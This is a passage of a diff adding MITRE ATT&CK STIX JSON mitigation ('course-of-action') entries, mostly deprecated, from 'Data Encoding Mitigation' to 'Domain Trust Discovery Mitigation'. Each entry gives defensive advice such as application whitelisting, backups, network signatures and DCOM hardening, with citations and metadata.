"course-of-action--0b3ee33e-430b-476f-9525-72d120c90f8d", + "modified": "2019-08-17T12:11:26.024Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Data Encoding Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1132", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1132" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--fcbe8424-eb3e-4794-b76d-e743f5a49b8b", + "modified": "2019-07-24T18:25:06.552Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Data Encrypted Mitigation", + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1022", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1022" + }, + { + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "source_name": "NSA MS AppLocker", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--2a8de25c-f743-4348-b101-3ee33ab5871b", + "modified": "2019-07-24T14:26:14.411Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Data Encrypted for Impact Mitigation", + "description": "Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)\n\nIn some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.\n\nIdentify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1486", + "url": "https://attack.mitre.org/mitigations/T1486" + }, + { + "source_name": "Ready.gov IT DRP", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", + "url": "https://www.ready.gov/business/implementation/IT" + }, + { + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "source_name": "NSA MS AppLocker", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-15T14:49:53.983Z", + "id": "course-of-action--429a5c0c-e132-45c0-a4aa-c1f736c92a1c", + "modified": "2019-07-24T14:26:43.878Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Data Obfuscation Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1001", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1001" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--d0fcf37a-b6c4-4745-9c43-4fcdb8bfc88e", + "modified": "2019-07-24T14:28:48.363Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Data Staged Mitigation", + "description": "Identify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.", + "external_references": [ + { + "external_id": "T1074", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1074" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd", + "modified": "2019-07-24T19:05:13.374Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Data Transfer Size Limits Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "external_id": "T1030", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1030" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--ba06d68a-4891-4eb5-b634-152e05ec60ee", + "modified": "2019-07-24T19:05:56.488Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Data from Information Repositories Mitigation", + "description": "To mitigate adversary access to information repositories for collection:\n\n* Develop and publish policies that define acceptable information to be stored\n* Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization\n* Enforce the principle of least-privilege\n* Periodic privilege review of accounts\n* Mitigate access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) that may be used to access repositories", + "external_references": [ + { + "external_id": "T1213", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1213" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--13cad982-35e3-4340-9095-7124b653df4b", + "modified": "2019-07-24T19:06:19.932Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Data from Local System Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1005", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1005" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--7ee0879d-ce4f-4f54-a96b-c532dfb98ffd", + "modified": "2019-07-24T19:07:01.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Data from Network Shared Drive Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1039", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1039" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--d9727aee-48b8-4fdb-89e2-4c49746ba4dd", + "modified": "2019-07-24T19:07:35.761Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Data from Removable Media Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1025", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1025" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--39706d54-0d06-4a25-816a-78cc43455100", + "modified": "2019-07-24T19:08:19.160Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Defacement Mitigation ", + "description": "Implementing best practices for websites such as defending against [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1491", + "url": "https://attack.mitre.org/mitigations/T1491" + }, + { + "source_name": "OWASP Top 10 2017", + "description": "OWASP. (2017, April 16). OWASP Top 10 2017 - The Ten Most Critical Web Application Security Risks. Retrieved February 12, 2019.", + "url": "https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-08T17:51:41.510Z", + "id": "course-of-action--5d8507c4-603e-4fe1-8a4a-b8241f58734b", + "modified": "2019-07-24T19:09:19.281Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Deobfuscate/Decode Files or Information Mitigation", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "external_references": [ + { + "external_id": "T1140", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1140" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "source_name": "Windows Commands JPCERT", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--d01f473f-3cdc-4867-9e55-1de9cf1986f0", + "modified": "2019-07-24T19:09:47.941Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Disable or Remove Feature or Program", + "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", + "external_references": [ + { + "external_id": "M1042", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1042" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-11T16:45:19.740Z", + "id": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", + "modified": "2019-06-11T16:45:19.740Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Disabling Security Tools Mitigation", + "description": "Ensure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.", + "external_references": [ + { + "external_id": "T1089", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1089" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--388606d3-f38f-45bf-885d-a9dc9df3c8a8", + "modified": "2019-07-24T19:10:48.260Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Distributed Component Object Model Mitigation", + "description": "Modify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\AppID\\{AppID_GUID} associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)\n\nModify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Ole associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)\n\nConsider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)\n\nEnable Windows firewall, which prevents DCOM instantiation by default.\n\nEnsure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)", + "external_references": [ + { + "external_id": "T1175", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1175" + }, + { + "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.", + "source_name": "Microsoft Process Wide Com Keys", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx" + }, + { + "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.", + "source_name": "Microsoft System Wide Com Keys", + "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx" + }, + { + "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.", + "source_name": "Microsoft COM ACL", + "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1" + }, + { + "source_name": "Microsoft Disable DCOM", + "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.", + "url": "https://technet.microsoft.com/library/cc771387.aspx" + }, + { + "source_name": "Microsoft Protected View", + "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.", + "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--910482b1-6749-4934-abcb-3e34d58294fc", + "modified": "2019-07-24T19:12:02.818Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Do Not Mitigate", + "description": "This category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.", + "external_references": [ + { + "external_id": "M1055", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1055" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-07-19T14:58:42.715Z", + "id": "course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c", + "modified": "2019-07-23T14:44:24.727Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0" + }, + { + "type": "course-of-action", + "name": "Domain Fronting Mitigation", + "description": "If it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.\n\nIn order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.", + "external_references": [ + { + "external_id": "T1172", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1172" + }, + { + "source_name": "FireEye APT29 Domain Fronting With TOR March 2017", + "description": "Matthew Dunwoody. (2017, March 27). APT29 Domain Fronting With TOR. Retrieved November 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/apt29_domain_frontin.html" + }, + { + "source_name": "Mandiant No Easy Breach", + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96", + "modified": "2019-07-24T19:12:36.946Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Domain Generation Algorithms Mitigation", + "description": "This technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1483", + "url": "https://attack.mitre.org/mitigations/T1483" + }, + { + "source_name": "Cybereason Dissecting DGAs", + "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.", + "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf" + }, + { + "description": "Kasza, A. (2015, February 18). Using Algorithms to Brute Force Algorithms. Retrieved February 18, 2019.", + "source_name": "Cisco Umbrella DGA Brute Force", + "url": "https://umbrella.cisco.com/blog/2015/02/18/at-high-noon-algorithms-do-battle/" + }, + { + "source_name": "Akamai DGA Mitigation", + "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.", + "url": "https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html" + }, + { + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-18T17:22:57.941Z", + "id": "course-of-action--3bd2cf87-1ceb-4317-9aee-3e7dc713261b", + "modified": "2019-07-24T19:13:31.378Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true + }, + { + "type": "course-of-action", + "name": "Domain Trust Discovery Mitigation", + "description": "Map the trusts within existing domains/forests and keep trust relationships to a minimum. Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts)", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1482", + "url": "https://attack.mitre.org/mitigations/T1482" + }, + { + "source_name": "Harmj0y Domain Trusts", + "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019.", + "url": "http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/ " + } + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-02-15T13:04:25.150Z", + "id": "course-of-action--159b4ee4-8fa1-44a5-b095-2973f3c7e25e", + "modified": "2019-07-24T19:14:03.948Z", + "object_marking_refs": [ + 